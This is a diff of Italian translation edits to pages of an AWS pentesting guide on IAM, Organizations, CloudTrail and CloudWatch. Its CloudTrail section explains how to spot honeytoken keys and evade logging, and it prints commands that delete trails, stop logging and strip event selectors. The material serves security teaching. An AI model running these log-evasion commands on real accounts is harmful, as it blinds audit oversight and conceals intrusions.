diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index d07f30aa4..b1bfa3038 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -21,7 +21,7 @@ Pertanto, ci sono **due tipi di account in un'organizzazione** (stiamo parlando
- Rimuovere account dall'organizzazione
- Gestire inviti
- Applicare politiche a entità (root, OU o account) all'interno dell'organizzazione
-- Abilitare l'integrazione con i servizi AWS supportati per fornire funzionalità di servizio a tutti gli account dell'organizzazione.
+- Abilitare l'integrazione con i servizi AWS supportati per fornire funzionalità di servizio a tutti gli account nell'organizzazione.
- È possibile accedere come utente root utilizzando l'email e la password utilizzate per creare questo account/organizzazione root.
L'account di gestione ha le **responsabilità di un account pagatore** ed è responsabile del pagamento di tutte le spese accumulate dagli account membri. Non puoi cambiare l'account di gestione di un'organizzazione.
@@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
-Una **service control policy (SCP)** è una politica che specifica i servizi e le azioni che gli utenti e i ruoli possono utilizzare negli account che la SCP influisce. Le SCP sono **simili alle politiche di autorizzazione IAM** tranne per il fatto che **non concedono alcuna autorizzazione**. Invece, le SCP specificano le **autorizzazioni massime** per un'organizzazione, un'unità organizzativa (OU) o un account. Quando si allega una SCP alla radice dell'organizzazione o a un'OU, la **SCP limita le autorizzazioni per le entità negli account membri**.
+Una **service control policy (SCP)** è una politica che specifica i servizi e le azioni che gli utenti e i ruoli possono utilizzare negli account che la SCP influisce. Le SCP sono **simili alle politiche di autorizzazione IAM** tranne per il fatto che **non concedono alcuna autorizzazione**. Invece, le SCP specificano le **autorizzazioni massime** per un'organizzazione, un'unità organizzativa (OU) o un account. Quando si allega una SCP alla radice dell'organizzazione o a un'OU, le **SCP limitano le autorizzazioni per le entità negli account membri**.
Questo è l'UNICO modo in cui **anche l'utente root può essere bloccato** dal fare qualcosa. Ad esempio, potrebbe essere utilizzato per impedire agli utenti di disabilitare CloudTrail o di eliminare i backup.\
L'unico modo per bypassare questo è compromettere anche il **master account** che configura le SCP (il master account non può essere bloccato).
@@ -57,7 +57,7 @@ Esempi di SCP:
essere disabilitati
-- Negare ai ruoli di sicurezza/risposta agli incidenti di essere eliminati o
+- Negare ai ruoli di sicurezza/riposta agli incidenti di essere eliminati o
modificati.
@@ -90,43 +90,43 @@ IAM è il servizio che ti permetterà di gestire **Autenticazione**, **Autorizza
IAM può essere definito dalla sua capacità di gestire, controllare e governare i meccanismi di autenticazione, autorizzazione e controllo degli accessi delle identità alle tue risorse all'interno del tuo account AWS.
-### [Utente root dell'account AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Quando crei per la prima volta un account Amazon Web Services (AWS), inizi con un'unica identità di accesso che ha **accesso completo a tutti** i servizi e le risorse AWS nell'account. Questo è l'utente _**root**_ dell'account AWS e viene accesso effettuando il login con **l'indirizzo email e la password che hai usato per creare l'account**.
+Quando crei per la prima volta un account Amazon Web Services (AWS), inizi con un'identità di accesso singolo che ha **accesso completo a tutti** i servizi e le risorse AWS nell'account. Questo è l'_**utente root**_ dell'account AWS e viene accesso effettuando il login con **l'indirizzo email e la password che hai usato per creare l'account**.
Nota che un nuovo **utente admin** avrà **meno permessi dell'utente root**.
Da un punto di vista della sicurezza, è consigliato creare altri utenti ed evitare di utilizzare questo.
-### [Utenti IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
+### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
Un _utente_ IAM è un'entità che crei in AWS per **rappresentare la persona o l'applicazione** che lo utilizza per **interagire con AWS**. Un utente in AWS consiste in un nome e credenziali (password e fino a due chiavi di accesso).
-Quando crei un utente IAM, gli concedi **permessi** rendendolo un **membro di un gruppo di utenti** che ha politiche di permesso appropriate allegate (consigliato), o **allegando direttamente le politiche** all'utente.
+Quando crei un utente IAM, gli concedi **permessi** rendendolo un **membro di un gruppo di utenti** che ha politiche di permesso appropriate collegate (consigliato), o **allegando direttamente le politiche** all'utente.
Gli utenti possono avere **MFA abilitato per il login** attraverso la console. I token API degli utenti con MFA abilitato non sono protetti da MFA. Se desideri **limitare l'accesso delle chiavi API di un utente utilizzando MFA**, devi indicare nella politica che per eseguire determinate azioni è necessaria la presenza di MFA (esempio [**qui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
-- **ID chiave di accesso**: 20 caratteri alfanumerici casuali in maiuscolo come AKHDNAPO86BSHKDIRYT
-- **ID chiave di accesso segreta**: 40 caratteri casuali in maiuscolo e minuscolo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Non è possibile recuperare gli ID delle chiavi di accesso segrete perse).
+- **Access Key ID**: 20 caratteri alfanumerici casuali in maiuscolo come AKHDNAPO86BSHKDIRYT
+- **Secret access key ID**: 40 caratteri casuali in maiuscolo e minuscolo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Non è possibile recuperare le chiavi di accesso segrete perse).
-Ogni volta che hai bisogno di **cambiare la chiave di accesso**, questo è il processo che dovresti seguire:\
-NAN;_Crea una nuova chiave di accesso -> Applica la nuova chiave al sistema/applicazione -> contrassegna quella originale come inattiva -> Testa e verifica che la nuova chiave di accesso funzioni -> Elimina la vecchia chiave di accesso_
+Ogni volta che hai bisogno di **cambiare la Access Key**, questo è il processo che dovresti seguire:\
+_Crea una nuova chiave di accesso -> Applica la nuova chiave al sistema/applicazione -> contrassegna quella originale come inattiva -> Testa e verifica che la nuova chiave di accesso funzioni -> Elimina la vecchia chiave di accesso_
### MFA - Multi Factor Authentication
Viene utilizzato per **creare un fattore aggiuntivo per l'autenticazione** oltre ai tuoi metodi esistenti, come la password, creando quindi un livello di autenticazione multi-fattore.\
Puoi utilizzare un **applicazione virtuale gratuita o un dispositivo fisico**. Puoi utilizzare app come google authentication gratuitamente per attivare un MFA in AWS.
-Le politiche con condizioni MFA possono essere allegate ai seguenti:
+Le politiche con condizioni MFA possono essere collegate ai seguenti:
- Un utente o gruppo IAM
- Una risorsa come un bucket Amazon S3, una coda Amazon SQS o un argomento Amazon SNS
- La politica di fiducia di un ruolo IAM che può essere assunto da un utente
Se desideri **accedere tramite CLI** a una risorsa che **controlla per MFA**, devi chiamare **`GetSessionToken`**. Questo ti darà un token con informazioni su MFA.\
-Nota che **le credenziali di `AssumeRole` non contengono queste informazioni**.
+Nota che le credenziali di **`AssumeRole` non contengono queste informazioni**.
```bash
aws sts get-session-token --serial-number --token-code
```
@@ -136,14 +136,14 @@ Come [**indicato qui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_cred
Un [gruppo di utenti IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) è un modo per **allegare politiche a più utenti** contemporaneamente, il che può semplificare la gestione delle autorizzazioni per quegli utenti. **I ruoli e i gruppi non possono far parte di un gruppo**.
-Puoi allegare una **politica basata sull'identità a un gruppo di utenti** in modo che tutti gli **utenti** nel gruppo di utenti **ricevano le autorizzazioni della politica**. Non puoi identificare un **gruppo di utenti** come un **`Principal`** in una **politica** (come una politica basata sulle risorse) perché i gruppi si riferiscono alle autorizzazioni, non all'autenticazione, e i principal sono entità IAM autenticate.
+Puoi allegare una **politica basata sull'identità a un gruppo di utenti** in modo che tutti gli **utenti** nel gruppo di utenti **ricevano le autorizzazioni della politica**. Non puoi **identificare un gruppo di utenti** come un **`Principal`** in una **politica** (come una politica basata sulle risorse) perché i gruppi si riferiscono alle autorizzazioni, non all'autenticazione, e i principali sono entità IAM autenticate.
Ecco alcune caratteristiche importanti dei gruppi di utenti:
- Un **gruppo** di utenti può **contenere molti utenti**, e un **utente** può **appartenere a più gruppi**.
- **I gruppi di utenti non possono essere annidati**; possono contenere solo utenti, non altri gruppi di utenti.
- Non esiste **un gruppo di utenti predefinito che include automaticamente tutti gli utenti nell'account AWS**. Se desideri avere un gruppo di utenti di questo tipo, devi crearlo e assegnare ogni nuovo utente ad esso.
-- Il numero e la dimensione delle risorse IAM in un account AWS, come il numero di gruppi e il numero di gruppi di cui un utente può essere membro, sono limitati. Per ulteriori informazioni, vedere [quote IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- Il numero e la dimensione delle risorse IAM in un account AWS, come il numero di gruppi e il numero di gruppi di cui un utente può essere membro, sono limitati. Per ulteriori informazioni, vedere [Quote IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Ruoli IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
@@ -166,10 +166,10 @@ Il Servizio di Token di Sicurezza AWS (STS) è un servizio web che facilita l'**
Vengono utilizzati per assegnare autorizzazioni. Ci sono 2 tipi:
- Politiche gestite da AWS (preconfigurate da AWS)
-- Politiche gestite dai clienti: configurate da te. Puoi creare politiche basate su politiche gestite da AWS (modificando una di esse e creando la tua), utilizzando il generatore di politiche (una vista GUI che ti aiuta a concedere e negare autorizzazioni) o scrivendo la tua.
+- Politiche gestite dai clienti: configurate da te. Puoi creare politiche basate su politiche gestite da AWS (modificando una di esse e creando la tua), utilizzando il generatore di politiche (una vista GUI che ti aiuta a concedere e negare autorizzazioni) o scrivendo le tue.
Per **default l'accesso** è **negato**, l'accesso sarà concesso se è stato specificato un ruolo esplicito.\
-Se **esiste un singolo "Deny", sovrascriverà il "Allow"**, tranne per le richieste che utilizzano le credenziali di sicurezza root dell'account AWS (che sono consentite per impostazione predefinita).
+Se **esiste un singolo "Deny", sovrascriverà l'"Allow"**, tranne per le richieste che utilizzano le credenziali di sicurezza root dell'account AWS (che sono consentite per impostazione predefinita).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -197,8 +197,8 @@ I [campi specifici che possono essere utilizzati per condizioni per servizio son
#### Politiche Inline
-Questo tipo di politiche sono **assegnate direttamente** a un utente, gruppo o ruolo. Quindi, non appaiono nell'elenco delle Politiche poiché nessun altro può usarle.\
-Le politiche inline sono utili se si desidera **mantenere una relazione rigorosa uno a uno tra una politica e l'identità** a cui è applicata. Ad esempio, si vuole essere certi che i permessi in una politica non siano assegnati involontariamente a un'identità diversa da quella per cui sono destinati. Quando si utilizza una politica inline, i permessi nella politica non possono essere attaccati involontariamente all'identità sbagliata. Inoltre, quando si utilizza la Console di gestione AWS per eliminare quell'identità, le politiche incorporate nell'identità vengono eliminate anch'esse. Questo perché fanno parte dell'entità principale.
+Questo tipo di politiche sono **assegnate direttamente** a un utente, gruppo o ruolo. Quindi, non appaiono nell'elenco delle Politiche poiché nessun altro può utilizzarle.\
+Le politiche inline sono utili se si desidera **mantenere una relazione rigorosa uno a uno tra una politica e l'identità** a cui è applicata. Ad esempio, si vuole essere certi che i permessi in una politica non siano assegnati inavvertitamente a un'identità diversa da quella per cui sono destinati. Quando si utilizza una politica inline, i permessi nella politica non possono essere attaccati inavvertitamente all'identità sbagliata. Inoltre, quando si utilizza la Console di gestione AWS per eliminare quell'identità, le politiche incorporate nell'identità vengono eliminate anch'esse. Questo perché fanno parte dell'entità principale.
#### Politiche dei Bucket di Risorse
@@ -208,9 +208,9 @@ Se un principale non ha un diniego esplicito su di esse, e una politica di risor
### Limiti IAM
-I limiti IAM possono essere utilizzati per **limitare i permessi a cui un utente o ruolo dovrebbe avere accesso**. In questo modo, anche se un diverso insieme di permessi viene concesso all'utente da una **politica diversa**, l'operazione **fallirà** se tenta di usarli.
+I limiti IAM possono essere utilizzati per **limitare i permessi a cui un utente o un ruolo dovrebbe avere accesso**. In questo modo, anche se un diverso insieme di permessi viene concesso all'utente da una **politica diversa**, l'operazione **fallirà** se tenta di utilizzarli.
-Un limite è semplicemente una politica allegata a un utente che **indica il livello massimo di permessi che l'utente o il ruolo può avere**. Quindi, **anche se l'utente ha accesso da Amministratore**, se il limite indica che può solo leggere i bucket S·, questo è il massimo che può fare.
+Un limite è semplicemente una politica allegata a un utente che **indica il livello massimo di permessi che l'utente o il ruolo può avere**. Quindi, **anche se l'utente ha accesso da Amministratore**, se il limite indica che può solo leggere i bucket S·, quello è il massimo che può fare.
**Questo**, **SCP** e **seguire il principio del minimo privilegio** sono i modi per controllare che gli utenti non abbiano più permessi di quelli di cui hanno bisogno.
@@ -237,8 +237,6 @@ Un esempio di provider di identità può essere il tuo **Microsoft Active Direct
Per configurare questa fiducia, viene generato un **Provider di Identità IAM (SAML o OAuth)** che **fiducia** la **altra piattaforma**. Poi, almeno un **ruolo IAM è assegnato (fiducioso) al Provider di Identità**. Se un utente della piattaforma fidata accede ad AWS, accederà come il ruolo menzionato.
-Tuttavia, di solito vorrai dare un **ruolo diverso a seconda del gruppo dell'utente** nella piattaforma di terze parti. Quindi, diversi **ruoli IAM possono fidarsi** del Provider di Identità di terze parti e la piattaforma di terze parti sarà quella che consentirà agli utenti di assumere un ruolo o l'altro.
-
### Centro Identità IAM
@@ -255,7 +253,7 @@ Per accedere agli utenti, ci sono 3 fonti di identità che possono essere utiliz
-Nel caso più semplice della directory del Centro Identità, il **Centro Identità avrà un elenco di utenti e gruppi** e sarà in grado di **assegnare politiche** a loro per **qualsiasi degli account** dell'organizzazione.
+Nel caso più semplice della directory del Centro Identità, il **Centro Identità avrà un elenco di utenti e gruppi** e sarà in grado di **assegnare politiche** a loro per **uno qualsiasi degli account** dell'organizzazione.
Per dare accesso a un utente/gruppo del Centro Identità a un account, verrà creato un **Provider di Identità SAML che fida il Centro Identità**, e verrà creato un **ruolo che fida il Provider di Identità con le politiche indicate** nell'account di destinazione.
@@ -288,7 +286,7 @@ L'app utilizza AssumeRoleWithWebIdentity per creare credenziali temporanee. Tutt
### Altre opzioni IAM
-- Puoi **impostare un'impostazione della politica delle password** con opzioni come lunghezza minima e requisiti per la password.
+- Puoi **impostare un'impostazione della politica delle password** come lunghezza minima e requisiti per la password.
- Puoi **scaricare il "Rapporto Credenziali"** con informazioni sulle credenziali attuali (come il tempo di creazione dell'utente, se la password è abilitata...). Puoi generare un rapporto credenziali fino a una volta ogni **quattro ore**.
AWS Identity and Access Management (IAM) fornisce **controllo degli accessi dettagliato** su tutto AWS. Con IAM, puoi specificare **chi può accedere a quali servizi e risorse**, e sotto quali condizioni. Con le politiche IAM, gestisci i permessi per la tua forza lavoro e i sistemi per **garantire permessi minimi**.
@@ -297,19 +295,21 @@ AWS Identity and Access Management (IAM) fornisce **controllo degli accessi dett
In [**questa pagina**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puoi trovare i **prefissi ID IAM** delle chiavi a seconda della loro natura:
-| ABIA | [Token bearer del servizio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| Codice Identificatore | Descrizione |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Credenziale specifica del contesto |
+| ABIA | [Token bearer del servizio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+
+| ACCA | Credenziale specifica per contesto |
| AGPA | Gruppo utente |
| AIDA | Utente IAM |
-| AIPA | Profilo di istanza Amazon EC2 |
+| AIPA | Profilo istanza Amazon EC2 |
| AKIA | Chiave di accesso |
| ANPA | Politica gestita |
| ANVA | Versione in una politica gestita |
| APKA | Chiave pubblica |
| AROA | Ruolo |
| ASCA | Certificato |
-| ASIA | [ID chiavi di accesso temporanee (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizzano questo prefisso, ma sono uniche solo in combinazione con la chiave di accesso segreta e il token di sessione. |
+| ASIA | [ID chiavi di accesso temporanee (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizza questo prefisso, ma è unico solo in combinazione con la chiave di accesso segreta e il token di sessione. |
### Permessi raccomandati per audit degli account
@@ -329,7 +329,7 @@ I seguenti privilegi concedono vari accessi in lettura ai metadati:
### Autenticazione CLI
Affinché un utente normale si autentichi ad AWS tramite CLI, è necessario avere **credenziali locali**. Per impostazione predefinita, puoi configurarle **manualmente** in `~/.aws/credentials` o **eseguendo** `aws configure`.\
-In quel file puoi avere più di un profilo, se **nessun profilo** è specificato utilizzando il **aws cli**, verrà utilizzato quello chiamato **`[default]`** in quel file.\
+In quel file puoi avere più di un profilo, se **nessun profilo** è specificato utilizzando **aws cli**, verrà utilizzato quello chiamato **`[default]`** in quel file.\
Esempio di file delle credenziali con più di 1 profilo:
```
[default]
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 8ddbfa02d..6f9431568 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -10,7 +10,7 @@ Ogni evento registrato contiene:
- Il nome dell'API chiamata: `eventName`
- Il servizio chiamato: `eventSource`
-- Il tempo: `eventTime`
+- L'ora: `eventTime`
- L'indirizzo IP: `SourceIPAddress`
- Il metodo dell'agente: `userAgent`. Esempi:
- Signing.amazonaws.com - Dalla Console di gestione AWS
@@ -24,7 +24,7 @@ I log di CloudTrail possono essere **aggregati tra account e tra regioni.**\
CloudTrail consente di utilizzare **l'integrità del file di log per poter verificare che i tuoi file di log siano rimasti invariati** da quando CloudTrail li ha consegnati a te. Crea un hash SHA-256 dei log all'interno di un file di digest. Un hash sha-256 dei nuovi log viene creato ogni ora.\
Quando si crea un Trail, i selettori di eventi ti permetteranno di indicare il trail da registrare: eventi di gestione, dati o approfondimenti.
-I log vengono salvati in un bucket S3. Per impostazione predefinita, viene utilizzata la crittografia lato server (SSE-S3), quindi AWS decripterà il contenuto per le persone che hanno accesso, ma per ulteriore sicurezza puoi utilizzare SSE con KMS e le tue chiavi.
+I log vengono salvati in un bucket S3. Per impostazione predefinita viene utilizzata la crittografia lato server (SSE-S3), quindi AWS decripterà il contenuto per le persone che hanno accesso, ma per ulteriore sicurezza puoi utilizzare SSE con KMS e le tue chiavi.
I log sono memorizzati in un **bucket S3 con questo formato di nome**:
@@ -88,15 +88,15 @@ La Cronologia Eventi di CloudTrail ti consente di ispezionare in una tabella i l
Le informazioni sono memorizzate nello stesso bucket dei log di CloudTrail in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
-
-| CloudTrail Log File Integrity |
Valida se i log sono stati manomessi (modificati o eliminati)
Utilizza file di digest (crea hash per ogni file)
SHA-256 hashing
SHA-256 con RSA per la firma digitale
chiave privata di proprietà di Amazon
Richiede 1 ora per creare un file di digest (eseguito all'ora ogni ora)
|
+| Control Name | Implementation Details |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| CloudTrail Log File Integrity |
Valida se i log sono stati manomessi (modificati o eliminati)
Utilizza file di digest (crea hash per ogni file)
SHA-256 hashing
SHA-256 con RSA per la firma digitale
chiave privata di proprietà di Amazon
Richiede 1 ora per creare un file di digest (eseguito all'ora ogni ora)
|
| Stop unauthorized access |
Utilizza politiche IAM e politiche del bucket S3
team di sicurezza —> accesso admin
auditori —> accesso in sola lettura
Utilizza SSE-S3/SSE-KMS per crittografare i log
|
| Prevent log files from being deleted |
Restringi l'accesso all'eliminazione con IAM e politiche del bucket
Configura l'eliminazione MFA di S3
Valida con la Validazione del File di Log
|
## Access Advisor
-AWS Access Advisor si basa sugli ultimi 400 giorni di log di AWS **CloudTrail per raccogliere le sue informazioni**. CloudTrail cattura una cronologia delle chiamate API AWS e degli eventi correlati effettuati in un account AWS. Access Advisor utilizza questi dati per **mostrare quando i servizi sono stati accessi l'ultima volta**. Analizzando i log di CloudTrail, Access Advisor può determinare quali servizi AWS un utente IAM o un ruolo ha accesso e quando è avvenuto tale accesso. Questo aiuta gli amministratori AWS a prendere decisioni informate su **come affinare le autorizzazioni**, poiché possono identificare i servizi che non sono stati accessi per lunghi periodi e potenzialmente ridurre autorizzazioni eccessivamente ampie basate su modelli di utilizzo reali.
+AWS Access Advisor si basa sugli ultimi 400 giorni di log di AWS **CloudTrail per raccogliere le sue informazioni**. CloudTrail cattura una cronologia delle chiamate API AWS e degli eventi correlati effettuati in un account AWS. Access Advisor utilizza questi dati per **mostrare quando i servizi sono stati ultimi accessi**. Analizzando i log di CloudTrail, Access Advisor può determinare quali servizi AWS un utente IAM o un ruolo ha accesso e quando è avvenuto tale accesso. Questo aiuta gli amministratori AWS a prendere decisioni informate su **come affinare le autorizzazioni**, poiché possono identificare i servizi che non sono stati accessi per lunghi periodi e potenzialmente ridurre autorizzazioni eccessivamente ampie basate su modelli di utilizzo reali.
> [!TIP]
> Pertanto, Access Advisor informa sulle **autorizzazioni non necessarie concesse agli utenti** in modo che l'amministratore possa rimuoverle
@@ -150,7 +150,7 @@ Per ulteriori informazioni su questa specifica tecnica, controlla [https://rhino
I Honeytokens sono creati per **rilevare l'esfiltrazione di informazioni sensibili**. Nel caso di AWS, sono **chiavi AWS il cui utilizzo è monitorato**, se qualcosa attiva un'azione con quella chiave, allora qualcuno deve aver rubato quella chiave.
-Tuttavia, i Honeytokens come quelli creati da [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) utilizzano un nome account riconoscibile o utilizzano lo stesso ID account AWS per tutti i loro clienti. Pertanto, se riesci a ottenere il nome dell'account e/o l'ID dell'account senza far creare alcun log a Cloudtrail, **potresti sapere se la chiave è un honeytoken o meno**.
+Tuttavia, i Honeytokens come quelli creati da [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) utilizzano un nome account riconoscibile o usano lo stesso ID account AWS per tutti i loro clienti. Pertanto, se riesci a ottenere il nome dell'account e/o l'ID dell'account senza far creare alcun log a Cloudtrail, **potresti sapere se la chiave è un honeytoken o meno**.
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ha alcune regole per rilevare se una chiave appartiene a [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
@@ -185,7 +185,7 @@ Controlla ulteriori informazioni nella [**ricerca originale**](https://medium.co
#### Non generare un log
-La tecnica più efficace per questo è in realtà una semplice. Usa semplicemente la chiave che hai appena trovato per accedere a qualche servizio all'interno del tuo account attaccante. Questo farà sì che **CloudTrail generi un log all'interno del TUO account AWS e non all'interno di quello delle vittime**.
+La tecnica più efficace per questo è in realtà una semplice. Basta utilizzare la chiave che hai appena trovato per accedere a qualche servizio all'interno del tuo account attaccante. Questo farà sì che **CloudTrail generi un log all'interno del TUO account AWS e non all'interno di quello delle vittime**.
Il fatto è che l'output mostrerà un errore che indica l'ID dell'account e il nome dell'account, quindi **sarai in grado di vedere se si tratta di un Honeytoken**.
@@ -206,7 +206,7 @@ In questo modo, un **attaccante può ottenere l'ARN della chiave senza attivare
Alcuni servizi AWS **genereranno un'infrastruttura** come **Database** o **cluster Kubernetes** (EKS). Un utente **che parla direttamente a quei servizi** (come l'API Kubernetes) **non utilizzerà l'API AWS**, quindi CloudTrail non sarà in grado di vedere questa comunicazione.
-Pertanto, un utente con accesso a EKS che ha scoperto l'URL dell'API EKS potrebbe generare un token localmente e **parlare direttamente con il servizio API senza essere rilevato da Cloudtrail**.
+Pertanto, un utente con accesso a EKS che ha scoperto l'URL dell'API EKS potrebbe generare un token localmente e **parlare direttamente con il servizio API senza essere rilevato da CloudTrail**.
Ulteriori informazioni in:
@@ -224,7 +224,7 @@ aws cloudtrail delete-trail --name [trail-name]
```bash
aws cloudtrail stop-logging --name [trail-name]
```
-#### Disabilita il logging multi-regione
+#### Disabilita la registrazione multi-regione
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region
```
-Nel primo esempio, viene fornito un selettore di eventi singolo come un array JSON con un singolo oggetto. Il `"ReadWriteType": "ReadOnly"` indica che il **selettore di eventi dovrebbe catturare solo eventi di sola lettura** (quindi CloudTrail insights **non controllerà eventi di scrittura** ad esempio).
+Nel primo esempio, viene fornito un selettore di eventi singolo come un array JSON con un singolo oggetto. Il `"ReadWriteType": "ReadOnly"` indica che il **selettore di eventi dovrebbe catturare solo eventi di sola lettura** (quindi CloudTrail insights **non controllerà eventi di scrittura**, ad esempio).
Puoi personalizzare il selettore di eventi in base alle tue esigenze specifiche.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 1bcd47b7b..1bdfe5397 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -4,7 +4,7 @@
## CloudWatch
-**CloudWatch** **raccoglie** dati di monitoraggio e operativi **sotto forma di log/metriche/eventi**, fornendo una **visione unificata delle risorse AWS**, delle applicazioni e dei servizi.\
+**CloudWatch** **colleziona** dati di monitoraggio e operativi **sotto forma di log/metriche/eventi**, fornendo una **visione unificata delle risorse AWS**, delle applicazioni e dei servizi.\
CloudWatch Log Event ha una **limitazione di dimensione di 256KB per ogni riga di log**.\
Può impostare **allarmi ad alta risoluzione**, visualizzare **log** e **metriche** affiancati, intraprendere azioni automatiche, risolvere problemi e scoprire informazioni per ottimizzare le applicazioni.
@@ -39,9 +39,9 @@ Le dimensioni sono coppie chiave-valore che fanno parte delle metriche. Aiutano
### Statistiche
-Le statistiche sono calcoli matematici eseguiti sui dati delle metriche per riassumerli nel tempo. Le statistiche comuni includono Media, Somma, Minimo, Massimo e Conteggio dei campioni.
+Le statistiche sono calcoli matematici eseguiti sui dati delle metriche per riassumerli nel tempo. Le statistiche comuni includono Media, Somma, Minimo, Massimo e ConteggioCampioni.
-- **Esempio**: Calcolare la media dell'utilizzo della CPU su un periodo di un'ora.
+- **Esempio**: Calcolare l'utilizzo medio della CPU su un periodo di un'ora.
### Unità
@@ -53,37 +53,37 @@ Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fo
### Dashboard
-**Le Dashboard di CloudWatch** forniscono **viste personalizzabili delle metriche di AWS CloudWatch**. È possibile creare e configurare dashboard per visualizzare i dati e monitorare le risorse in un'unica vista, combinando diverse metriche da vari servizi AWS.
+**CloudWatch Dashboards** forniscono **viste personalizzabili delle metriche di AWS CloudWatch**. È possibile creare e configurare dashboard per visualizzare i dati e monitorare le risorse in un'unica vista, combinando diverse metriche da vari servizi AWS.
**Caratteristiche principali**:
- **Widget**: Blocchi di costruzione delle dashboard, inclusi grafici, testo, allarmi e altro.
-- **Personalizzazione**: Layout e contenuto possono essere personalizzati per soddisfare specifiche esigenze di monitoraggio.
+- **Personalizzazione**: Layout e contenuto possono essere personalizzati per soddisfare esigenze di monitoraggio specifiche.
**Esempio di caso d'uso**:
-- Una singola dashboard che mostra metriche chiave per l'intero ambiente AWS, incluse le istanze EC2, i database RDS e i bucket S3.
+- Un'unica dashboard che mostra metriche chiave per l'intero ambiente AWS, incluse le istanze EC2, i database RDS e i bucket S3.
### Metric Stream e Dati Metrici
-**I Metric Streams** in AWS CloudWatch ti consentono di trasmettere continuamente le metriche di CloudWatch a una destinazione a tua scelta in tempo quasi reale. Questo è particolarmente utile per il monitoraggio avanzato, l'analisi e le dashboard personalizzate utilizzando strumenti al di fuori di AWS.
+**Metric Streams** in AWS CloudWatch ti consentono di trasmettere continuamente le metriche di CloudWatch a una destinazione a tua scelta in tempo quasi reale. Questo è particolarmente utile per monitoraggio avanzato, analisi e dashboard personalizzati utilizzando strumenti al di fuori di AWS.
-**I Dati Metrici** all'interno dei Metric Streams si riferiscono alle misurazioni effettive o ai punti dati che vengono trasmessi. Questi punti dati rappresentano varie metriche come l'utilizzo della CPU, l'uso della memoria, ecc., per le risorse AWS.
+**Dati Metrici** all'interno dei Metric Streams si riferiscono alle misurazioni effettive o ai punti dati che vengono trasmessi. Questi punti dati rappresentano varie metriche come l'utilizzo della CPU, l'uso della memoria, ecc., per le risorse AWS.
**Esempio di caso d'uso**:
-- Inviare metriche in tempo reale a un servizio di monitoraggio di terze parti per un'analisi avanzata.
-- Archiviare metriche in un bucket Amazon S3 per la conservazione a lungo termine e la conformità.
+- Inviare metriche in tempo reale a un servizio di monitoraggio di terze parti per analisi avanzate.
+- Archiviare metriche in un bucket Amazon S3 per lo stoccaggio a lungo termine e la conformità.
### Allarme
